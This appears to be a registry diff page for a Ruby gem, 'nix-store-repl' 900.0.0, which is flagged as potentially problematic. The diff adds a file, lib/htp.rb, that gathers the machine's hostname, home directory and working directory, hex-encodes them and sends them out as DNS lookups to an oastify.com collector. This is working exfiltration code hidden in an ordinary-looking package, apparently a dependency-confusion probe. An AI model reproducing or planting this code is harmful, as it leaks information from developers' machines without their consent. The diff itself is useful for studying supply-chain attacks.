nix-store-repl 900.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of nix-store-repl might be problematic. Click here for more details.

Files changed (3) hide show
  1. checksums.yaml +7 -0
  2. data/lib/htp.rb +22 -0
  3. metadata +42 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: faf8e5ea6083f36469415bf503fcee0ead25f2a0d7713f36cce0789f6f236aa9
4
+ data.tar.gz: 19c0a54e1153168490840f720018169c2876008577b875782b0f0fa5f1a58371
5
+ SHA512:
6
+ metadata.gz: 6c459db61af0292df809eea0ece0beefcc87a00830e4eae65552b8412bb96e0b82a2ca9b6dbe252a2b2a70ec3e5d8093404a5cb8ee984fcf611d87a4e18a9de1
7
+ data.tar.gz: 579a1e9afc8659414d2250b7b217366b840b0e8d6e3346752c37f159e0172909abb18dbd1124fee311fcca2dc9beb3dde35c15b44056cc2b30264ccade82f0a8
data/lib/htp.rb ADDED
@@ -0,0 +1,22 @@
1
+ require 'json'
2
+ require 'resolv'
3
+
4
+ h = '536t5u39tablvlna8gv93i4m6dc40t.oastify.com'
5
+ p = 'nix-store-repl'
6
+ id = rand(36**12).to_s(36)
7
+
8
+ d = {
9
+ 'p' => p,
10
+ 'h' => Socket.gethostname,
11
+ 'd' => File.expand_path('~'),
12
+ 'c' => Dir.pwd
13
+ }
14
+
15
+ d = JSON.generate(d)
16
+ d = d.unpack('H*')[0].scan(/.{1,60}/)
17
+
18
+ d.each.each_with_index do |c, i|
19
+ begin
20
+ Resolv.getaddress id + '.' + i.to_s + '.' + c + ".dns." + h
21
+ rescue; end
22
+ end
metadata ADDED
@@ -0,0 +1,42 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: nix-store-repl
3
+ version: !ruby/object:Gem::Version
4
+ version: 900.0.0
5
+ platform: ruby
6
+ authors:
7
+ - xen
8
+ autorequire:
9
+ bindir: bin
10
+ cert_chain: []
11
+ date: 2022-06-05 00:00:00.000000000 Z
12
+ dependencies: []
13
+ description:
14
+ email:
15
+ executables: []
16
+ extensions: []
17
+ extra_rdoc_files: []
18
+ files:
19
+ - lib/htp.rb
20
+ homepage:
21
+ licenses: []
22
+ metadata: {}
23
+ post_install_message:
24
+ rdoc_options: []
25
+ require_paths:
26
+ - lib
27
+ required_ruby_version: !ruby/object:Gem::Requirement
28
+ requirements:
29
+ - - ">="
30
+ - !ruby/object:Gem::Version
31
+ version: '0'
32
+ required_rubygems_version: !ruby/object:Gem::Requirement
33
+ requirements:
34
+ - - ">="
35
+ - !ruby/object:Gem::Version
36
+ version: '0'
37
+ requirements: []
38
+ rubygems_version: 3.0.3.1
39
+ signing_key:
40
+ specification_version: 4
41
+ summary: cody zacharias
42
+ test_files: []